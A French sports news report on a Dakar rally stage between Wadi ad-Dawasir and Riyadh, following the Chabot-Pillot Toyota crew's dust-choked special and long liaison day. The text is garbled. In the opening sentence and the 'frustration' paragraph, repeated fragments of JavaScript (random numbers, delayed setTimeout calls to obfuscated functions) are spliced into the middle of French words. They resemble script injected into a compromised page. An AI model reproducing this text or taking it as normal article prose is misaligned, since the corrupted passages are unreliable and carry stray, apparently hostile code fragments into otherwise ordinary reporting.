Wadi ad-Dawasir > Riyad.

Bloqué une grandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ande partie de la spéciale derrière les nuages de poussières engendrés par les camions, le duo Chabot-Pillot n’est pas vraiment parvenu à exprimer le plein potentiel de sa Toyota. 36e de l’étape, 39e du général, ils ont hâte de reprendre la route pour « accrocher le bon wagon ».

Chaque étape du Dakar est un art délicat. Certes, l’adaptation est toujours de rigueur mais les qualités d’une voiture et d’un duo ne suffisent pas toujours. Ronan Chabot et Gilles Pillot l‘ont expérimenté ce mercredi lors de la spéciale longue de 337 km entre Wadi ad-Dawasir et Riyad. L’incident mécanique de la veille les a en effet forcés à s’élancer au 46e rang. Or, l’ordre de départ est primordial. Avec les premiers, les départs sont plus espacés et le rythme, rapidement imposé par les ‘top pilotes’, est facile à prendre. Mais derrière, les véhicules s’élancent toutes les 30 secondes, compliquant fortement toute velléité de remontée au classement.

« Parfois, on était même arrêté ! »

Combatifs comme toujours, Ronan et Gilles se sont d’abord évertués à doubler en début de spéciale. Une stratégie qui a fonctionné jusqu’au franchissement d’un cordon de dunes. Ensuite, sur les pistes rapides, la ‘remontada’ s’est brusquement arrêtée. Le pilote explique : « il y avait du fesh-fesh, énormément de poussière et aucun souffle de vent. Le passage des camions qui nous précédaient et qui se battent pour le général engendraient des nuages de poussière. On ne voyait plus rien et parfois on était même arrêté ! C’était devenu impossible de doubler. » Pourtant, il restait encore près de 200 km à parcourir. Et jusqu’à l’arrivée, « nous sommes restés bloqués et on a subi » reconnaît Ronan.

La frustration est grandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ande quandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and les éléments et les contraintes sportives vous empêchent de vous exprimer. « Ce n’était pas très agréable dans ces saignées de fesh-fesh creusées par les camions ! » Heureusement, l’équipage n°322 poursuit la route. « Nous savons que l’incident qu’on a eu hier allait nous ralentir, poursuit Ronan. Mais on va s’accrocher pour revenir sur la tête de course ».

Une longue journée… Et des bouchons à l’arrivée.

Il n’y avait pas que la course au programme ce mercredi puisqu’il s’agissait de la plus longue étape de ce Dakar avec 519 km de liaison. En somme, un trajet routier et un total qui équivaut à un Paris-Marseille avalé en une journée. « On est limité en vitesse donc on en profite pour regarder le paysage, raconte Ronan. Ce n’est pas très agréable dans une voiture de course mais cela ne nous empêche pas de discuter ». En fin de journée, ils ont traversé Riyad la capitale du pays. Ou comment voir des dizaines de véhicules de course englués dans des bouchons en pleine heure de pointe.

Désormais, dans le bivouac déjà plongé dans la pénombre de Riyad, l’heure est à la douche, au dîner et à un repas bien mérité. Le Dakar se poursuit dès demain et les deux hommes ont toujours le même objectif : « revenir dans le bon wagon ». Ronan précise : « et si on doit le faire en deux ou trois temps, on le fera ! »